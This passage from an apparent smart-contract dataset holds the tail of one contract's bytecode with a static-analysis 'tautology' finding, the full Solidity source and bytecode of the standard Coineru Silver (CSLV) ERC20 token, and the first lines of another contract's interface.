60005b838110156103c05781810151838201526020016103a8565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156103ff5781810151838201526020016103e7565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561043e578181015183820152602001610426565b505050509050019850505050505050505060405180910390f35b34801561046457600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261017a95833595369560449491939091019190819084018382808284375094975061110a9650505050505050565b3480156104c257600080fd5b5061023060043561115f565b3480156104da57600080fd5b5061027060043560243561117a565b3480156104f557600080fd5b5061050160043561119c565b6040518086815260200180602001806020018060200180602001858103855289818151815260200191508051906020019080838360005b83811015610550578181015183820152602001610538565b50505050905090810190601f16801561057d5780820380516001836020036101000a031916815260200191505b5085810384528851815288516020918201918a019080838360005b838110156105b0578181015183820152602001610598565b50505050905090810190601f1680156105dd5780820380516001836020036101000a031916815260200191505b50858103835287518152875160209182019189019080838360005b838110156106105781810151838201526020016105f8565b50505050905090810190601f16801561063d5780820380516001836020036101000a031916815260200191505b50858103825286518152865160209182019188019080838360005b83811015610670578181015183820152602001610658565b50505050905090810190601f16801561069d5780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b3480156106be57600080fd5b5061029c600160a060020a0360043516611420565b3480156106df57600080fd5b50610230611484565b3480156106f457600080fd5b506101a3611493565b34801561070957600080fd5b5061029c6004356114ca565b34801561072157600080fd5b50610270600160a060020a0360043516602435611513565b604080516020600460443581810135601f810184900484028501840190955284845261017a94823594602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061153b9650505050505050565b34801561089057600080fd5b506102706004803590602480359081019101356044356118a5565b3480156108b757600080fd5b5061029c6004356118fe565b3480156108cf57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261017a94823594602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506119279650505050505050565b3480156109e957600080fd5b5061029c600435611a67565b348015610a0157600080fd5b50610a10600435602435611add565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b83811015610a58578181015183820152602001610a40565b50505050905001848103835286818151815260200191508051906020019060200280838360005b83811015610a97578181015183820152602001610a7f565b50505050905001848103825285818151815260200191508051906020019060200280838360005b83811015610ad6578181015183820152602001610abe565b50505050905001965050505050505060405180910390f35b348015610afa57600080fd5b50610270600160a060020a0360043516611c52565b348015610b1b57600080fd5b50610b27600435611c98565b604051808681526020018060200185600160a060020a0316600160a060020a03168152602001848152602001838152602001828103825286818151815260200191508051906020019080838360005b83811015610b8e578181015183820152602001610b76565b50505050905090810190601f168015610bbb5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b6000806000610bdb84611d7f565b1515610be657600080fd5b5060009050805b600454811015610c295783600482815481101515610c0757fe5b90600052602060002001541415610c215760019150610c29565b600101610bed565b5092915050565b60408051808201909152601781527f43727970746f205375706572204769726c667269656e6400000000000000000060208201525b90565b6000610c7382610bcd565b1515610c7e57600080fd5b506000818152600a6020526040902054600160a060020a03165b919050565b33600160a060020a0383161415610cb357600080fd5b610cbc81610bcd565b1515610cc757600080fd5b33610cd18261115f565b600160a060020a031614610ce457600080fd5b600160a060020a0382161515610d74576000818152600a6020526040902054600160a060020a031615610d6f576000818152600a60209081526040808320805473ffffffffffffffffffffffffffffffffffffffff191690558051848152905133927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35b610de4565b6000818152600a6020908152604091829020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03861690811790915582518481529251909233927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a35b5050565b600190565b60045490565b33610dfd82610c68565b600160a060020a031614610e1057600080fd5b610e1b838383611dce565b505050565b600080600080610e2f86611420565b8510610e3a57600080fd5b60009250600091505b600454821015610eac576004805483908110610e5b57fe5b9060005260206000200154905085600160a060020a0316610e7b8261115f565b600160a060020a03161415610ea15784831415610e9a57809350610eae565b6001830192505b600190910190610e43565bfe5b50505092915050565b6000610ec1610ded565b8210610ecc57600080fd5b6004805483908110610eda57fe5b90600052602060002001549050919050565b6060806060806000606080606080600080610f068c611420565b965086604051908082528060200260200182016040528015610f32578160200160208202803883390190505b50955086604051908082528060200260200182016040528015610f5f578160200160208202803883390190505b50945086604051908082528060200260200182016040528015610f8c578160200160208202803883390190505b50935086604051908082528060200260200182016040528015610fb9578160200160208202803883390190505b50925060009150600090505b6004548110156110f8578b600160a060020a0316610ffb600483815481101515610feb57fe5b906000526020600020015461115f565b600160a060020a031614156110f057600480548290811061101857fe5b9060005260206000200154868381518110151561103157fe5b602090810290910101526004805461104e919083908110610feb57fe5b858381518110151561105c57fe5b600160a060020a039092166020928302909101909101526004805461109691908390811061108657fe5b90600052602060002001546118fe565b84838151811015156110a457fe5b60209081029091010152600480546110d19190839081106110c157fe5b90600052602060002001546114ca565b83838151811015156110df57fe5b602090810290910101526001909101905b600101610fc5565b50939a92995090975095509350505050565b60008054600160a060020a0316331461112257600080fd5b61112b83611d7f565b151561113657600080fd5b60008381526009602090815260409091208351611155928501906120d0565b5060019392505050565b600090815260056020526040902054600160a060020a031690565b600054600160a060020a0316331461119157600080fd5b600291909155600355565b60006060806060806111ad86611d7f565b15156111b857600080fd5b6000868152600860209081526040918290208054835160026001808416156101000260001901909316819004601f81018690048602830186019096528582528b9593949285019390850192600386019291869183018282801561125c5780601f106112315761010080835404028352916020019161125c565b820191906000526020600020905b81548152906001019060200180831161123f57829003601f168201915b5050865460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959950889450925084019050828280156112ea5780601f106112bf576101008083540402835291602001916112ea565b820191906000526020600020905b8154815290600101906020018083116112cd57829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959850879450925084019050828280156113785780601f1061134d57610100808354040283529160200191611378565b820191906000526020600020905b81548152906001019060200180831161135b57829003601f168201915b5050845460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959750869450925084019050828280156114065780601f106113db57610100808354040283529160200191611406565b820191906000526020600020905b8154815290600101906020018083116113e957829003601f168201915b505050505090509450945094509450945091939590929450565b60008080600160a060020a038416151561143957600080fd5b5060009050805b600454811015610c295783600160a060020a0316611466600483815481101515610feb57fe5b600160a060020a0316141561147c576001909101905b600101611440565b600054600160a060020a031690565b60408051808201909152600481527f4353474600000000000000000000000000000000000000000000000000000000602082015290565b60006114d582611d7f565b15156114e057600080fd5b60008281526007602052604090205415156114fe5750600154610c98565b50600081815260076020526040902054610c98565b61151c8161115f565b600160a060020a0316331461153057600080fd5b610de4338383611dce565b60008060008061154961214e565b6115528c611d7f565b151561155d57600080fd5b336115678d61115f565b600160a060020a0316141561157b57600080fd5b33151561158757600080fd5b8a15806115a9575060006115a66001548d611eb790919063ffffffff16565b10155b15156115b457600080fd5b60006115cf6115c28e6114ca565b349063ffffffff611eb716565b10156115da57600080fd5b60006115fd8c6115f134600263ffffffff611ec916565b9063ffffffff611eb716565b101561160857600080fd5b8a151561161b5761161834611a67565b9a505b6116248c610bcd565b1515611637576116378c8b600154611efb565b6116408c61115f565b9350339250600160a060020a038416156117185761165d8c6118fe565b3411156116e1576116706115c28d6118fe565b9150611694606461168884600a63ffffffff611ec916565b9063ffffffff6120aa16565b9150600160a060020a0384166108fc6116b3348563ffffffff611eb716565b6040518115909202916000818181858888f193505050501580156116db573d6000803e3d6000fd5b50611718565b604051600160a060020a038516903480156108fc02916000818181858888f19350505050158015611716573d6000803e3d6000fd5b505b5060008b8152600660209081526040808320349055600782528083208d905580516080810182528b81528083018b90528082018a9052606081018990528e84526008835292208251805184936117729284929101906120d0565b50602082810151805161178b92600185019201906120d0565b50604082015180516117a79160028401916020909101906120d0565b50606082015180516117c39160038401916020909101906120d0565b509050506117d284848e611dce565b604080513481529051600160a060020a038516918e917fd2728f908c7e0feb83c6278798370fcb86b62f236c9dbf1a3f541096c21590409181900360200190a3604080513481529051600160a060020a038616918e917f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d79181900360200190a361185a611484565b604051600160a060020a039190911690303180156108fc02916000818181858888f19350505050158015611892573d6000803e3d6000fd5b5060019c9b505050505050505050505050565b600054600160a060020a031633146118bc57600080fd5b6118f88484848080601f01602080910402602001604051908101604052809392919081815260200183838082843750889450611efb9350505050565b50505050565b600061190982611d7f565b151561191457600080fd5b5060009081526006602052604090205490565b600061193161214e565b61193a88611d7f565b151561194557600080fd5b3361194f8961115f565b600160a060020a03161461196257600080fd5b600061197960015489611eb790919063ffffffff16565b101561198457600080fd5b6000888152600660205260408120546119aa9089906115f190600263ffffffff611ec916565b10156119b557600080fd5b5060008781526007602090815260408083208990558051608081018252888152808301889052808201879052606081018690528a8452600883529220825180518493611a059284929101906120d0565b506020828101518051611a1e92600185019201906120d0565b5060408201518051611a3a9160028401916020909101906120d0565b5060608201518051611a569160038401916020909101906120d0565b5060019a9950505050505050505050565b6000811515611a795750600154610c98565b670de0b6b3a7640000821015611aa157611a9a82600263ffffffff611ec916565b9050610c98565b678ac7230489e80000821015611ac757611a9a606461168884609663ffffffff611ec916565b611a9a606461168884607863ffffffff611ec916565b60608080808080600080611b09611afa8b8b63ffffffff6120c116565b6002549063ffffffff6120c116565b600354611b1d90600163ffffffff6120c116565b1015611b2857600080fd5b88604051908082528060200260200182016040528015611b52578160200160208202803883390190505b50945088604051908082528060200260200182016040528015611b7f578160200160208202803883390190505b50935088604051908082528060200260200182016040528015611bac578160200160208202803883390190505b5092508991505b611bc38a8a63ffffffff6120c116565b821015611c4357898203905081600254018582815181101515611be257fe5b60209081029091010152600254611bfa9083016118fe565b8482815181101515611c0857fe5b60209081029091010152600254611c209083016114ca565b8382815181101515611c2e57fe5b60209081029091010152600190910190611bb3565b50929891975095509350505050565b600054600160a060020a03163314611c6957600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600060606000806000611caa86611d7f565b1515611cb557600080fd5b60008681526009602052604090208690611cce8261115f565b611cd7896118fe565b611ce08a6114ca565b8354604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152918691830182828015611d665780601f10611d3b57610100808354040283529160200191611d66565b820191906000526020600020905b815481529060010190602001808311611d4957829003601f168201915b50989f939e50959c50939a509198509650505050505050565b600080611d9760025484611eb790919063ffffffff16565b10158015611db95750600354600090611db6908463ffffffff611eb716565b10155b15611dc657506001610c98565b506000919050565b611dd781610bcd565b1515611de257600080fd5b82600160a060020a0316611df58261115f565b600160a060020a031614611e0857600080fd5b600160a060020a0382161515611e1d57600080fd5b600160a060020a038216301415611e3357600080fd5b60008181526005602090815260408083208054600160a060020a0380881673ffffffffffffffffffffffffffffffffffffffff199283168117909355600a855294839020805490911690558151858152915190938716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef928290030190a3505050565b600082821115611ec357fe5b50900390565b600080831515611edc5760009150610c29565b50828202828482811515611eec57fe5b0414611ef457fe5b9392505050565b611f0361214e565b611f0c84611d7f565b1515611f1757600080fd5b611f2084610bcd565b15611f2a57600080fd5b6000848152600560209081526040808320805473ffffffffffffffffffffffffffffffffffffffff191690556006825280832083905560078252808320859055600982529091208451611f7f928601906120d0565b50506040805160a0810182526000608082018181528252825160208181018552828252808401919091528351808201855282815283850152835180820185528281526060840152868252600881529290208151805192938493611fe592849201906120d0565b506020828101518051611ffe92600185019201906120d0565b506040820151805161201a9160028401916020909101906120d0565b50606082015180516120369160038401916020909101906120d0565b50506004805460018101825560009182527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0186905560408051858152905191925086917fe5b6779c4a18cbf7e4bce3a6c308b215c678f316648b832318a03841664fc2e99181900360200190a350505050565b60008082848115156120b857fe5b04949350505050565b600082820183811015611ef457fe5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061211157805160ff191683800117855561213e565b8280016001018555821561213e579182015b8281111561213e578251825591602001919060010190612123565b5061214a929150612177565b5090565b608060405190810160405280606081526020016060815260200160608152602001606081525090565b610c6591905b8082111561214a576000815560010161217d5600a165627a7a72305820231dbcfa9e579a5d8381968ba7f618e1f6b7cc05fc83d94e3a71f40cee2576f60029 | {"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 396 |
0x6dc05497f0b087c7692816e6acaa8bdda73907fc | pragma solidity ^0.4.24;
// File: contracts/token/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/misc/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
int256 constant private INT256_MIN = -2**255;
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts/token/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0), "Cannot approve for 0x0 address");
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0), "Cannot increaseAllowance for 0x0 address");
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0), "Cannot decreaseAllowance for 0x0 address");
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0), "Cannot transfer to 0x0 address");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0), "Cannot mint to 0x0 address");
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
}
// File: contracts\CoineruSilver.sol
/**
* @title CoineruSilver
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `ERC20` functions.
*/
contract CoineruSilver is ERC20 {
string public constant name = "Coineru Silver";
string public constant symbol = "CSLV";
uint8 public constant decimals = 8;
// twenty six billions + 8 decimals
uint256 public constant INITIAL_SUPPLY = 26000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor () public {
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806339509351146102c057806370a082311461032557806395d89b411461037c578063a457c2d71461040c578063a9059cbb14610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c961071c565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610726565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b5061027961092e565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610940565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610945565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c0b565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610c53565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8c565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f52565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f69565b6040518082815260200191505060405180910390f35b6040805190810160405280600e81526020017f436f696e6572752053696c76657200000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561062c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f7420617070726f766520666f72203078302061646472657373000081525060200191505060405180910390fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60006107b782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff090919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610842848484611011565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b600860ff16600a0a64060db884000281565b600881565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001807f43616e6e6f7420696e637265617365416c6c6f77616e636520666f722030783081526020017f206164647265737300000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b610aa082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f43534c560000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d58576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001807f43616e6e6f74206465637265617365416c6c6f77616e636520666f722030783081526020017f206164647265737300000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b610de782600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff090919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610f5f338484611011565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008083831115151561100257600080fd5b82840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156110b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74207472616e7366657220746f203078302061646472657373000081525060200191505060405180910390fd5b611107816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061119a816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015151561125d57600080fd5b80915050929150505600a165627a7a723058203c020fdcb10bf0b9318ac9881525a32d4925b0dd2ca62d9f781733e4776aff570029 | {"success": true, "error": null, "results": {}} | 397 |
0x9f0af1e7a50b172b4ccf56e356bd9172775e7960 | pragma solidity 0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
